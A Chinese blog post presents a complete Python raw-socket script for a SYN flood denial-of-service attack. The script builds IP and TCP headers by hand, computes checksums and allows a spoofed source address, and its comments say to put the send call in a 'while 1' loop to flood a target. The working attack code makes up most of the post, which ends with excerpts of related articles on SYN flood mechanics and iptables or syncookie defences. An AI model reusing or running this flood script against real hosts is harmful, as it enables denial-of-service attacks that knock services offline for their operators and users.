Python实现SYN Flood攻击

0×00 背景

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

0×01 Code

本文章的目是介绍使用python构造packet的方法。
使用raw socket来发送packets。 该程序只适用于Linux。windows可以尝试调用winpcap。

‘‘‘

Syn flood program in python using raw sockets (Linux)

Silver Moon ([email protected])

‘‘‘

# some imports

import socket, sys

from struct import *

# checksum functions needed for calculation checksum

def checksum(msg):

s = 0

# loop taking 2 characters at a time

for i in range(0, len(msg), 2):

w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )

s = s + w

s = (s>>16) + (s & 0xffff);

#s = s + (s >> 16);

#complement and mask to 4 byte short

s = ~s & 0xffff

return s

#create a raw socket

try:

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

except socket.error , msg:

print ‘Socket could not be created. Error Code : ‘ + str(msg[0]) +‘ Message ‘ + msg[1]

sys.exit()

# tell kernel not to put in headers, since we are providing it

s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# now start constructing the packet

packet = ‘‘;

source_ip = ‘192.168.1.101‘

dest_ip = ‘192.168.1.1‘ # or socket.gethostbyname(‘www.google.com‘)

# ip header fields

ihl = 5

version = 4

tos = 0

tot_len = 20 + 20  # python seems to correctly fill the total length, dont know how ??

id = 54321  #Id of this packet

frag_off = 0

ttl = 255

protocol = socket.IPPROTO_TCP

check = 10  # python seems to correctly fill the checksum

saddr =socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to

daddr = socket.inet_aton ( dest_ip )

ihl_version = (version << 4) + ihl

# the ! in the pack format string means network order

ip_header = pack(‘!BBHHHBBH4s4s‘, ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)

# tcp header fields

source = 1234   # source port

dest = 80   # destination port

seq = 0

ack_seq = 0

doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes

#tcp flags

fin = 0

syn = 1

rst = 0

psh = 0

ack = 0

urg = 0

window = socket.htons (5840)    #   maximum allowed window size

check = 0

urg_ptr = 0

offset_res = (doff << 4) + 0

tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) +(ack << 4) + (urg << 5)

# the ! in the pack format string means network order

tcp_header = pack(‘!HHLLBBHHH‘, source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)

# pseudo header fields

source_address = socket.inet_aton( source_ip )

dest_address = socket.inet_aton(dest_ip)

placeholder = 0

protocol = socket.IPPROTO_TCP

tcp_length = len(tcp_header)

psh = pack(‘!4s4sBBH‘, source_address , dest_address , placeholder , protocol , tcp_length);

psh = psh + tcp_header;

tcp_checksum = checksum(psh)

# make the tcp header again and fill the correct checksum

tcp_header = pack(‘!HHLLBBHHH‘, source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)

# final full packet - syn packets dont have any data

packet = ip_header + tcp_header

#Send the packet finally - the port specified has no effect

s.sendto(packet, (dest_ip , 0))    # put this in a loop if you want to flood the target

#put the above line in a loop like while 1: if you want to flood

注意:运行时需要Root权限。

时间: 2024-11-07 21:32:32

Python实现SYN Flood攻击的相关文章

SYN Flood攻击及防御方法 (转)

原文连接:http://blog.csdn.net/bill_lee_sh_cn/article/details/6065704 一.为什么Syn Flood会造成危害      这要从操作系统的TCP/IP协议栈的实现说起.当开放了一个TCP端口后,该端口就处于Listening状态,不停地监视发到该端口的Syn报文,一 旦接收到Client发来的Syn报文,就需要为该请求分配一个TCB(Transmission Control Block),通常一个TCB至少需要280个字节,在某些操作系统

backlog参数与SYN Flood攻击

在linux网络编程中,使用listen函数监听套接字,在linux中man其用法,第2个参数解释如下: The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow.  If  a connection  request arrives when the queue is full, the client may receive an e

浅谈iptables防SYN Flood攻击和CC攻击

------------------------本人为自己实践所总结,概念性的东西不全,这里粗劣提下而已,网上很多,本文主要说下目前较流行的syn洪水攻击和cc攻击------------------------------------- 何为syn flood攻击: SYN Flood是一种广为人知的DoS(拒绝服务攻击)是DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式(TCP协议

Linux防SYN Flood攻击

抵御SYN SYN攻击是利用TCP/IP协议3次握手的原理,发送大量的建立连接的网络包,但不实际 建立连接,最终导致被攻击服务器的网络队列被占满,无法被正常用户访问. Linux内核提供了若干SYN相关的配置,用命令: sysctl -a | grep syn 看到: net.ipv4.tcp_max_syn_backlog = 1024 net.ipv4.tcp_syncookies = 0 net.ipv4.tcp_synack_retries = 5 net.ipv4.tcp_syn_re

利用iptables防止syn flood攻击

命令: iptables -N syn-floodiptables -A syn-flood -m limit --limit 50/s --limit-burst 10 -j RETURNiptables -A syn-flood -j DROP iptables -I INPUT -j syn-flood 解释: -N 创建一个条新的链 --limit 50/s 表示每秒50次;1/m 则为每分钟一次 --limit-burst 表示允许触发 limit 限制的最大包个数 (预设5),它就像

扯谈网络编程之Tcp SYN flood洪水攻击

简介 TCP协议要经过三次握手才能建立连接: (from wiki) 于是出现了对于握手过程进行的攻击.攻击者发送大量的FIN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries).这样的话,对于服务器的内存,带宽都有很大的消耗.攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难. 攻与防 攻击者角度 从攻击者的角度来看,有两个地方可以

SYN Flood应如何应对

1 什么是SYN Flood攻击 在TCP三次握手时,服务器接收客户端的SYN请求,操作系统将为该请求分配一个TCP(Transmission Control Block),服务器返回一个SYN/ACK请求,并将处于SYN_RCVD状态(半开连接状态). 从以上过程可以看到,如果恶意的向某个服务器端口发送大量的SYN包,则可以使服务器打开大量的半开连接,分配TCB,从而消耗大量的服务器资源,同时也使得正常的连接请求无法被相应.而攻击发起方的资源消耗相比较可忽略不计. SYN Flood是当前最流

SYN Flood 防范

简介: SYN Flood 是 DoS( 拒绝服务攻击 )与 DDoS( 分布式拒绝服务攻击 )的方式之一,这是一种利用 TCP 协议缺陷,发送大量伪造 TCP 连接请求,从而使得服务器资源耗尽( CPU 满负载或内存不足 )的攻击方式. TCP 三次握手: 1.客户端发送一个包含 SYN 标志的 TCP 报文到服务端,报文指明客户端使用的端口及 TCP 连接的初始序列号. 2.服务器在收到客户端的 SYN 报文后,将返回一个 SYN+ACK 报文,表示接受请求,同时 TCP 序列号加一,ACK

SYN Flood了解和简单防范笔记!

一:什么是CentOS SYN Flood攻击? CentOS SYN Flood攻击利用的是IPv4中TCP协议的三次握手(Three-Way Handshake)过程进行的攻击.这个协议规定,如果一端想向另一端发起TCP连接,它需要首先发送TCP SYN (synchronize)包到对方. 对方收到后发送一个TCP SYN+ACK包回来,发起方再发送TCP ACK (ACKnowledge Character)包回去,这样三次握手就结束了.在上述过程中,还有一些重要的概念. 未连接队列:在